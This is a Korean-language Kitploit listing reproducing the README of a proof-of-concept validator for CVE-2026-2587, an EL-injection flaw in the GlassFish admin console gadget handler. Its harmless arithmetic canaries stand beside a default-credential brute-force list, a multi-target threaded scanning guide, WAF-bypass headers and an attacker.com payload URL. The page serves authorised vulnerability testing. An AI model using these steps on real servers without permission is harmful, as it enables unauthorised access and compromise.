Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-2587-Exploit-POC — CVE-2026-2587 PoC 검증기: Eclipse GlassFish 관리 콘솔 gadget.jsf 핸들러의 EL 주입 RCE. 승인된 테스트를 위한 안전한 인증된 취약점 스캐너. | Kitploit
도구/GitHubGitHub/bhanunamikaze/cve-2026-2587-exploit-poc
Vulnerability ScannersDynamic Analysis (Sandboxing)Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubbhanunamikaze/cve-2026-2587-exploit-poc

CVE-2026-2587-Exploit-POC

CVE-2026-2587 PoC 검증기: Eclipse GlassFish 관리 콘솔 gadget.jsf 핸들러의 EL 주입 RCE. 승인된 테스트를 위한 안전한 인증된 취약점 스캐너.

저장소 보기웹사이트
13개월 전아직 검토되지 않음

CVE-2026-2587 Exploit PoC — Eclipse GlassFish EL 주입 RCE 검증기

CVE-2026-2587에 대한 안전한 PoC 검증 도구로, Eclipse GlassFish 관리 콘솔 가젯 핸들링에서 /common/gadgets/gadget.jsf를 통해 발생하는 치명적인 EL 주입/RCE 문제입니다.

이 도구는 승인된 환경에서 무해한 산술 EL 카나리를 사용하여 GlassFish CVE-2026-2587 노출 여부를 보안 팀이 검증할 수 있도록 돕습니다.

할당: Eclipse Foundation (CNA) · 게시일: 2026년 5월 19일 CVSS: 9.6 치명적 · AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H CWE: CWE-917 — 표현식 언어 주입 영향받는 버전: 알 수 없음 (2026년 5월 21일 기준 공개 권고) 패치된 버전: 알 수 없음 (2026년 5월 21일 기준 공개 권고) 스캐너 규칙: 버전은 라우팅/보고 컨텍스트일 뿐이며, 판결에는 증거가 필요합니다.


목차

  • 취약점 요약
  • 작동 방식
  • 인증 요구 사항
  • 설정
  • 실험 환경 (Docker)
  • 프로브 XML 생성
  • 사용법 — 단일 대상
    • 로컬호스트 / Docker
    • 자격 증명
    • 무차별 대입 로그인
    • Cloudflare Tunnel을 통한 원격
    • 사전 호스팅된 정적 XML
    • ngrok을 통한 원격 (최후의 수단)
    • 인증되지 않은 확인만
  • 사용법 — 다중 대상
    • 대상 파일 형식
    • 병렬 스캔
  • 출력 형식
    • 콘솔
    • CSV
    • JSON
    • 출력 결합
  • 고급 옵션
    • 엔드포인트 및 버전 탐지
    • 사용자 정의 카나리 값
    • 사용자 정의 헤더
  • 테스트 케이스
  • 출력 해석
  • 수동 검증
  • 수정
  • 참고 자료
  • 면책 조항

취약점 요약

GlassFish 관리 콘솔 가젯 핸들러에 치명적인 원격 코드 실행 취약점이 존재합니다. 애플리케이션은 gadget= 쿼리 매개변수를 통해 제공된 URL에서 가져온 .xml 파일을 처리하고, <ModulePrefs> 속성 내의 사용자 제공 값을 Java 표현식 언어(EL) 엔진을 통해 삭제나 이스케이프 없이 평가합니다.``` GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml

root@kitploit:~
XML이 `<ModulePrefs title="">` 속성에 `#{7*7}`을 포함하면, GlassFish는 서버 측에서 이를 평가하여 `49`를 반환합니다. 이는 EL 실행을 확인하는 것입니다. EL이 Java 런타임에 접근할 수 있으므로 전체 RCE 체인이 이어집니다.

현재 공개된 권고 기록은 영향을 받거나 패치된 버전 경계를 공개하지 않습니다. 따라서 이 검증기는 증명 우선(proof-first) 방식입니다. GlassFish의 지문을 수집하여 버전 메타데이터를 보고하지만, 버전 문자열만으로 대상을 취약하다고 분류하지 않습니다.

---

## How It Works

![CVE-2026-2587를 위한 안전한 검증 워크플로우](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

안전한 검증 경로는 무해한 XML 프로브를 호스팅하고, 인증된 관리 콘솔 요청을 `gadget.jsf`에 전송하며, GlassFish가 콜백 URL에서 해당 XML을 가져오도록 한 후, `<ModulePrefs title="">` 카나리가 `#{7*7}`에서 `49`로 평가되는지 확인합니다.

**인젝션 포인트 확인 vs. 미확인:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

인증 요구 사항

CVSS 벡터 PR:N / UI:R 의미:

  • PR:N — 공격자는 자신의 자격 증명이 필요 없음
  • UI:R — 로그인한 관리자가 상호작용해야 함 (CSRF 전달)

실습 검증의 경우 CSRF를 건너뛰고 — 자신의 관리자 세션을 직접 사용하십시오.


설정

요구 사항: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests

optional for coloured terminal output:

pip install colorama

root@kitploit:~
**저장소 내용:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

실험 환경 (Docker)

주의: GHSA는 여전히 영향을 받는 버전과 패치된 버전을 알 수 없음으로 나열합니다. omnifish/glassfish:7.0.15는 강력한 실험 후보입니다 — 반드시 취약한 빌드라는 보장은 없습니다. 검증 기본 요소는 여전히 산술 카나리입니다: #{7*7}이 49로 평가되면 EL이 활성화됩니다.

옵션 A — docker compose (권장)```bash

from the repo root

docker compose -f docker-compose.lab.yml up

root@kitploit:~
GlassFish 7.0.15를 실행하며, 포트는 `127.0.0.1`에만 바인딩되고 `host.docker.internal`이 사전 연결되어 컨테이너가 로컬 XML 서버에 접근할 수 있습니다.

### 옵션 B — bare docker run```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

관리 콘솔: https://localhost:4848 · 로그인: admin / admin (자체 서명 인증서 — 브라우저 경고가 예상됩니다.)


무해한 프로브 XML 제공

두 번째 터미널에서:```bash

The repo ships with probe.xml — serve it directly:

python3 -m http.server 8000 --bind 0.0.0.0

root@kitploit:~
컨테이너의 관점에서 도달 가능성을 확인하십시오:```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

수동 트리거

먼저 관리자 콘솔에 로그인한 후 (브라우저 세션 또는 --cookie), 그 다음:```bash curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'

root@kitploit:~
| 출력 | 의미 |
|---|---|
| `CVE2587_TITLE_49_END` | **취약함** — `ModulePrefs title`에서 EL 평가됨 |
| `CVE2587_BODY_49_END` | **취약함** — CDATA 본문에서 EL 평가됨 |
| `CVE2587_TITLE_#{7*7}_END` | 취약하지 않음 / EL 평가되지 않음 |
| *(출력 없음)* | GlassFish가 XML을 가져오지 않음 — 콜백 접근 가능성 확인 |

> 일반적으로 취약한 빌드에서도 CDATA 본문은 원시 상태로 유지됩니다. `TITLE` 결과만 양성이면 해당 발견을 확인하기에 충분합니다.

---

### 로컬 랩에 대한 자동화된 검증```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

프로브 XML 생성

저장소에는 바로 사용할 수 있는 probe.xml이 포함되어 있습니다. 또한 언제든지 새로운 XML을 생성할 수 있습니다. 이는 사용자 지정 카나리 접두사나 무작위 값을 원할 때 유용하며, 각 작업에 대해 프로브를 고유하게 만들 수 있습니다.```bash

Generate with default values (CVE2587 prefix, #{7*7})

python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml

Generate with custom prefix and operands

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17

Print to stdout (pipe to a server, gist, etc.)

python3 CVE-2026-2587-Exploit-POC.py --generate-xml -

Generate with random values (different every run)

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127

root@kitploit:~
파일에 쓴 후 출력:```
[+] probe XML written → probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7

사용법 — 단일 대상

Localhost / Docker

GlassFish가 동일한 머신의 로컬 또는 Docker에서 실행 중일 때 사용합니다.

관리 콘솔에 로그인한 상태에서 브라우저 DevTools → Application → Cookies에서 JSESSIONID를 가져온 후:```bash

Docker — GlassFish in container, script on host

python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose

Localhost (no Docker)

python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://127.0.0.1:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure

root@kitploit:~
> `host.docker.internal`는 Docker 내부에서 호스트 머신으로 확인됩니다.
> GlassFish 컨테이너는 이 주소를 통해 프로브 XML을 가져옵니다.

---

### 자격 증명```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

폼 로그인이 실패하면, 스크립트는 대체 경로로 엔드포인트를 시도합니다. 그것도 실패하면, 세션 쿠키를 얻기 위한 단계별 안내를 출력합니다.


무차별 대입 로그인

아무 자격 증명이 없을 때, --brute는 21개의 일반적인 GlassFish 기본 자격 증명 쌍을 순서대로 시도하고 성공하는 첫 번째 쌍을 사용합니다. --username 및 --cookie와 상호 배타적입니다.```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--brute --insecure --verbose

root@kitploit:~
유효한 쌍이 발견되면 출력에 인쇄되고 CSV의 `brute_creds` 열에 기록됩니다. 모든 쌍이 실패하면 스캔은 `AUTH_REQUIRED`로 종료됩니다.

일부 GlassFish 빌드는 유효한 양식 POST 후에 `/login.jsf`를 반환합니다. 유효성 검사기는 해당 URL만으로는 실패로 간주하지 않습니다. 관리자 가젯 엔드포인트를 프로빙하고 응답이 로그인 양식이 아닌지 확인하여 세션을 확인합니다.

시도된 자격 증명 목록 (순서):

| Username | Password |
|---|---|
| `admin` | `admin` |
| `admin` | *(empty)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |

---

### Cloudflare Tunnel을 통한 원격 접속

빠른 터널을 위해 계정이 필요하지 않습니다.

**1단계 — cloudflared 설치:**```bash
# macOS
brew install cloudflared

# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb

2단계 — 터널 시작:```bash

Terminal 1

cloudflared tunnel --url http://localhost:8000

→ https://random-words.trycloudflare.com

root@kitploit:~
**3단계 — 검증기 실행:**

콜백 URL에는 생성된 동일한 호스트 이름을 `http://`와 함께 사용하세요. 이렇게 하면 Cloudflare TLS 인증서 체인을 검증할 수 없는 GlassFish 랩 컨테이너에서 JVM 트러스트 저장소 오류가 발생하지 않습니다. 생성된 `https://` trycloudflare URL을 붙여넣으면 검증기가 해당 콜백을 `http://`로 다시 작성하고 경고를 출력합니다. 끝 슬래시는 선택 사항이며, 검증기가 `/canary.xml` 및 각 테스트별 XML 경로를 자동으로 추가합니다.```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://random-words.trycloudflare.com \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

사전 호스팅된 정적 XML

로컬 서버를 실행할 수 없을 때 사용합니다. 대상 GlassFish JVM이 이 URL을 직접 가져올 수 있어야 하므로, 대상 JVM이 인증서 체인을 신뢰하지 않는 HTTPS 호스트보다 신뢰할 수 있는 VPS/웹 서버의 일반 HTTP가 더 신뢰할 수 있는 경우가 많습니다. --xml-url 플래그는 내장 서버를 완전히 우회합니다.

새로운 프로브 XML을 생성한 다음 호스팅하세요:```bash

Step 1 — generate

python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml

Step 2 — host it (pick one)

python3 -m http.server 8000 # local, then expose via Cloudflare Tunnel scp probe.xml user@YOUR_VPS:/var/www/ # VPS or any web server

Step 3 — run (use the --prefix/--left/--right from the generate output)

python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure

root@kitploit:~
> `--prefix`, `--left`, `--right`는 호스팅된 XML 파일 내의 값과 일치해야 합니다. 그래야 스크립트가 응답에서 평가된 토큰을 어디서 찾을지 알 수 있습니다.

---

### ngrok을 통한 원격 접속 (최후의 수단)

ngrok는 원격 대상에 대한 최후의 옵션으로만 사용하세요. 무료 티어는 브라우저에서 오지 않는 서버 측 요청을 중간 HTML 경고 페이지를 반환하여 차단할 수 있습니다. 이 경우 GlassFish는 `probe.xml` 대신 경고 페이지를 가져오며, 유효성 검사기는 응답을 로그인 페이지 또는 불확실한 결과로 분류할 수 있습니다. 이 제한을 우회하는 유료 ngrok 계정이 없는 한, Cloudflare Tunnel, VPS 또는 대상 JVM이 깔끔하게 가져올 수 있는 정적 웹 호스트를 선호하세요.

**1단계 — ngrok 설치:**```bash
# macOS
brew install ngrok

# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
  | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
  | sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok

2단계 — 로컬 서버를 노출하세요:```bash

Terminal 1

ngrok http 8000

→ Forwarding: https://abc123.ngrok-free.app -> http://localhost:8000

root@kitploit:~
**3단계 — 검증기 실행:**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

실제 ngrok URL로 abc123.ngrok-free.app을(를) 교체하세요. 스크립트는 :8000에서 자체 XML 서버를 시작합니다. ngrok는 인터넷에서 이 서버로 전달합니다.


인증되지 않은 확인 전용

전체 인증된 스캔을 수행하기 전에 엔드포인트가 실수로 인증 없이 노출되었는지 테스트합니다. 1단계 후 즉시 종료됩니다.```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--check-unauth-only --insecure

root@kitploit:~
---

## 사용법 — 여러 대상

### 대상 파일 형식

리포지토리에는 템플릿으로 `targets.txt.example`이 포함되어 있습니다. 복사하여 편집하세요:```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers

형식 — #로 시작하는 줄과 빈 줄은 무시되며, 각 대상은 한 줄에 하나씩, 각 대상별 자격 증명이 전역 --username/--password를 덮어씁니다:```

targets.txt

format: URL

https://server1:4848

format: URL username password

https://server2:4848 admin password123 https://server3:4848 ops secret99

format: URL username:password

https://server4:4848 admin:admin

commented-out targets are skipped

https://server5:4848

root@kitploit:~
모든 대상에 대해 실행:```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --insecure \
  --csv results.csv

전역 --username/--password는 각 줄에 자격 증명이 없는 대상에 적용됩니다. 각 줄의 자격 증명이 전역 설정보다 우선합니다.


병렬 스캔

--threads를 사용하여 여러 대상을 동시에 스캔하세요. 내장 XML 서버는 모든 스레드에서 공유됩니다.```bash

Scan 10 targets at once

python3 CVE-2026-2587-Exploit-POC.py
--targets-file targets.txt
--listen 0.0.0.0:8000
--callback-url https://random-words.trycloudflare.com
--username admin --password admin
--threads 10
--insecure
--csv results.csv --json

root@kitploit:~
> 권장 스레드 수:
> - 로컬 실험실: 최대 `10`
> - 인터넷을 통한 원격 대상: `3–5` (속도 제한 준수)
> - 단일 대상: `1` (기본값)

---

## 출력 형식

### 콘솔

기본 사람이 읽을 수 있는 출력. 각 테스트 케이스 결과를 보려면 `--verbose`를 추가하세요.```
────────────────────────────────────────────────────────────────
  Target : https://localhost:4848
  Server : Eclipse GlassFish 7.0.15
  Version : Eclipse GlassFish 7.0.15  [asadmin-api]  (affected: UNKNOWN)
  Console : present  |  Gadget: present  |  Proof: evaluated
[+] VULNERABLE  —  9/10 test cases confirmed
[+]   TC-01 Basic multiply      #{7*7} → 49
[+]   TC-02 Addition            #{1337+2587} → 3924
[+]   TC-03 Large multiply      #{31337*271} → 8492327
    ...

    Remediation: restrict admin access and apply vendor-published fixed builds when available.

다중 대상 요약:``` ════════════════════════════════════════════════════════════════ SCAN SUMMARY — 4 target(s) ════════════════════════════════════════════════════════════════ Vulnerable : 2 Not vulnerable : 1 Auth required : 1 Error / other : 0 ════════════════════════════════════════════════════════════════

root@kitploit:~
### CSV```bash
# Write to file
--csv results.csv

# Write to stdout (pipe-friendly)
--csv -

CSV 열:

예시 행:```csv target,timestamp,verdict,vulnerable_count,total_tests,unauth_exposed,active_endpoint,server_header,detected_version,version_source,version_affected,admin_console,gadget_endpoint,proof,brute_creds,TC-01 Basic multiply,...,notes https://server1:4848,2026-05-21T10:00:00+00:00,VULNERABLE,9,10,no,https://server1:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.0.15,Eclipse GlassFish 7.0.15,asadmin-api,UNKNOWN,present,present,evaluated,,VULNERABLE,..., https://server2:4848,2026-05-21T10:00:05+00:00,NOT_VULNERABLE,0,10,no,https://server2:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 8.0.1,Eclipse GlassFish 8.0.1,header:Server,UNKNOWN,present,present,not_evaluated,,NOT_VULNERABLE,..., https://server3:4848,2026-05-21T10:00:08+00:00,AUTH_REQUIRED,0,10,no,,,,,UNKNOWN,present,blocked,not_attempted,,,Session rejected or cookie expired

root@kitploit:~
### JSON```bash
--json

단일 대상:```json { "active_endpoint": "https://localhost:4848/common/gadgets/gadget.jsf", "admin_console": "present", "detected_version": "Eclipse GlassFish 7.0.15", "gadget_endpoint": "present", "proof": "evaluated", "server_header": "Eclipse GlassFish 7.0.15", "target": "https://localhost:4848", "tested_paths": [ "https://localhost:4848/common/gadgets/gadget.jsf", "https://localhost:4848/admin/common/gadgets/gadget.jsf", "https://localhost:4848/console/common/gadgets/gadget.jsf", "https://localhost:4848/glassfish/common/gadgets/gadget.jsf", "https://localhost:4848/asadmin/common/gadgets/gadget.jsf" ], "timestamp": "2026-05-21T10:00:00+00:00", "verdict": "VULNERABLE", "version_affected": "UNKNOWN", "version_source": "asadmin-api", "vulnerable_count": 9, "total_tests": 10, "unauth_result": "AUTH_REQUIRED", "tc_results": [ {"name": "TC-01 Basic multiply", "expr": "#{7*7}", "expects": "49", "status": "VULNERABLE"}, {"name": "TC-02 Addition", "expr": "#{1337+2587}", "expects": "3924", "status": "VULNERABLE"} ] }

root@kitploit:~
여러 대상은 JSON 배열을 반환합니다.

---

### 출력 결합

모든 출력 형식은 독립적입니다 — 자유롭게 결합하세요:```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --threads 5 --insecure --verbose \
  --csv results.csv \
  --json > results.json

고급 옵션

엔드포인트 및 버전 검색

기본적으로 스캐너는 공통 admin GUI 루트 아래의 공유 GlassFish gadget 경로를 테스트합니다:```text /common/gadgets/gadget.jsf /admin/common/gadgets/gadget.jsf /console/common/gadgets/gadget.jsf /glassfish/common/gadgets/gadget.jsf /asadmin/common/gadgets/gadget.jsf

root@kitploit:~
또한 리디렉트 `Location` 헤더로부터 기본이 아닌 GUI 컨텍스트 루트를 학습하여 테스트 전에 해당 루트를 앞에 추가합니다. 이 발견 목록을 재정의하려는 경우에만 반복 가능한 `--path` 값을 사용하십시오.

버전 탐지는 응답 헤더, 관리 REST API, 로그인 페이지, 그리고 로그인 성공 후 `/__asadmin/version.json` 또는 `/__asadmin/version`에서 시도됩니다. 버전 데이터는 라우팅 및 보고를 개선할 뿐입니다; 스캐너는 공개 권고 레코드가 버전 경계를 게시할 때까지 `version_affected`를 `UNKNOWN`으로 남깁니다.

---

### 사용자 정의 Canary 값

`--prefix`, `--left`, `--right`를 사용하여 수동으로 제작된 XML에 검사기를 일치시킵니다. 자체 호스팅 파일과 함께 `--xml-url`을 사용할 때 필요합니다.```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://TARGET:4848 \
  --xml-url http://YOUR_SERVER/custom.xml \
  --prefix MYTEST --left 13 --right 17 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

사용자 정의 헤더

임의의 헤더를 추가합니다 — WAF 우회, 로드 밸런서 라우팅 또는 리버스 프록시 뒤에서의 테스트에 유용합니다.```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--header "X-Forwarded-For: 127.0.0.1"
--header "X-Original-URL: /common/gadgets/gadget.jsf"
--header "X-Custom-Header: value"
--proxy http://127.0.0.1:8080
--insecure

root@kitploit:~
---

## 테스트 케이스

검증기는 10개의 개별 EL 프로브를 실행하며, 각각은 다른 기능을 확인합니다:

| # | 페이로드 | 기대 값 | 증명하는 내용 |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | 기준 산술 카나리 |
| TC-02 | `#{1337+2587}` | `3924` | 덧셈 연산자 |
| TC-03 | `#{31337*271}` | `8492327` | 충돌에 강한 큰 수 곱셈 |
| TC-04 | `#{9999-1337}` | `8662` | 뺄셈 연산자 |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | 중첩 괄호 / 연산자 우선순위 |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | 조건부 / 삼항 — 제어 흐름 실행 |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | 문자열 메서드 접근 |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | 연결된 메서드 호출 |
| TC-09 | `#{17 mod 5}` | `2` | EL 키워드 연산자 |
| TC-10 | `#{100*100}` | `10000` | 추가 산술 확인 |

TC-06, TC-07, TC-08이 가장 중요합니다. 통과한다는 것은 EL 엔진이 **문자열 API 메서드와 조건부 로직**을 실행한다는 의미이며, 이는 완전한 RCE 체인으로 가는 직접적인 전조입니다.

---

## 출력 해석

| 상태 | 의미 |
|---|---|
| `VULNERABLE` | EL 표현식이 평가됨 — 인스턴스가 영향받는 것으로 확인됨 |
| `VULNERABLE_UNAUTH` | 인증 없이 엔드포인트가 노출됨 — 기본 CVE보다 더 심각함 |
| `NOT_VULNERABLE` | 표현식이 문자 그대로 반영됨 — EL이 평가되지 않음 |
| `AUTH_REQUIRED` | 엔드포인트가 로그인 페이지를 반환함 — 쿠키 또는 자격 증명 확인 |
| `INCONCLUSIVE` | 응답을 받았지만 카나리를 찾을 수 없음 — 아래 참고 |
| `ERROR` | 요청 실패 — 네트워크/TLS 문제 |

`detected_version`과 `version_source`는 보조적인 맥락 정보입니다. 공개 권고가 현재 영향받는 버전과 패치된 버전을 알 수 없음으로 나열하고 있으므로, `version_affected=UNKNOWN`을 부정적인 결과로 간주하지 마십시오. 유일한 긍정적 발견은 평가된 증명 토큰입니다.

**INCONCLUSIVE 문제 해결:**

| 증상 | 원인 | 해결 방법 |
|---|---|---|
| `XML hits: 0` | GlassFish가 XML을 가져오지 못함 | `--callback-url`이 대상에서 접근 가능하지 않음 |
| `XML hits: 1+`이지만 일치 없음 | EL이 평가되었지만 잘못된 필드 | CDATA 콘텐츠에서 예상됨 |
| 실행 중 인증 리디렉션 | 세션 만료 | 브라우저에서 새 `JSESSIONID`를 가져오세요 |
| 로그인 POST가 `j_security_check`로 리디렉션 | 잘못된 비밀번호 | 대신 `--cookie` 사용 |

---

## 수동 확인

Python 필요 없음:```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
  <ModulePrefs title="PROBE_#{7*7}_END"/>
  <Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF

# Step 2 — serve it
python3 -m http.server 8000 --directory probe &

# Step 3 — hit the endpoint with your session cookie
curl -sk \
  -H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
  "https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
  | grep -oE 'PROBE_[^"< ]+_END'

# Vulnerable output:
# PROBE_#{7*7}_END    ← raw (CDATA — expected)
# PROBE_49_END        ← evaluated ✅ VULNERABLE

Remediation


참조


면책 조항

이 저장소는 허가된 보안 테스트 및 연구 전용입니다.

  • 이 도구는 소유하고 있거나 명시적인 서면 허가를 받은 시스템에서만 실행하십시오
  • 검증기는 양성 EL 평가만 수행합니다 — 명령 실행, 리버스 셸, 파일 업로드, 지속성 없음
  • 저자는 오용에 대한 책임을 지지 않습니다
  • 책임 있는 공개 절차를 따랐습니다 — 2025년 12월에 보고, 2026년 5월에 게시됨

Repo layout:``` CVE-2026-2587-Exploit-POC/ ├── assets/ │ └── cve-2026-2587-validation-flow.png ← README workflow diagram ├── CVE-2026-2587-Exploit-POC.py ← validator script ├── probe.xml ← ready-to-host static probe XML (#{7*7} canary) ├── targets.txt.example ← multi-target file template └── README.md

root@kitploit:~
---

<p align="center">
  <a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>
도구 다운로드
시나리오
인증 필요?
gadget.jsf에 직접 접근예 — FORM 인증, 200 로그인 페이지
실제 CSRF 공격아니요 — 관리자의 활성 세션을 무기화
이 검증기예 — --cookie 또는 --username/--password
인증되지 않은 노출 확인아니요 — 스크립트가 자동으로 테스트
열설명
target대상 URL
timestampUTC ISO-8601 스캔 시간
verdictVULNERABLE (취약함) / NOT_VULNERABLE (취약하지 않음) / AUTH_REQUIRED (인증 필요) / VULNERABLE_UNAUTH (인증 없이 취약) / ERROR (오류)
vulnerable_countEL 평가를 확인한 테스트 케이스 수
total_tests실행된 전체 테스트 케이스 수
unauth_exposed인증 없이 엔드포인트가 응답한 경우 YES
active_endpoint테스트에 사용된 엔드포인트 URL
server_headerGlassFish의 Server: 헤더
detected_version핑거프린팅된 경우 버전 문자열
version_source버전 값의 출처: 헤더, REST/로그인 페이지 또는 asadmin-api
version_affected권고 버전 상태. 현재는 공개된 영향/패치 범위가 게시되지 않아 UNKNOWN
admin_consolepresent (있음), not_found (찾을 수 없음) 또는 unknown (알 수 없음)
gadget_endpointpresent (있음), blocked (차단됨), not_found (찾을 수 없음) 또는 unknown (알 수 없음)
proofevaluated (평가됨), not_evaluated (평가되지 않음) 또는 not_attempted (시도되지 않음)
TC-01 … TC-10테스트별 결과: VULNERABLE (취약함) / NOT_VULNERABLE (취약하지 않음) / INCONCLUSIVE (결정적이지 않음) / SKIPPED (건너뜀)
notes스캔 실패 시 오류 메시지
조치세부 사항
업그레이드Eclipse/NVD/GHSA가 패치된 버전 경계를 게시하면 벤더가 발행한 수정 빌드를 적용하십시오
가젯 핸들러 비활성화사용하지 않는 경우 WAF/방화벽에서 /common/gadgets/gadget.jsf 차단
관리 콘솔 방화벽포트 4848을 신뢰할 수 있는 IP로만 제한
CSRF 보호관리자 세션에 SameSite 쿠키 속성 보장
WAF 규칙가젯 엔드포인트에 도달하는 XML 본문에서 #{ 및 ${ 차단
리소스링크
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-2587
GitHub Advisory (GHSA)https://github.com/advisories/GHSA-29wv-cv7p-xjc2
Eclipse CVE Trackinghttps://gitlab.eclipse.org/security/cve-assignment/-/issues/86
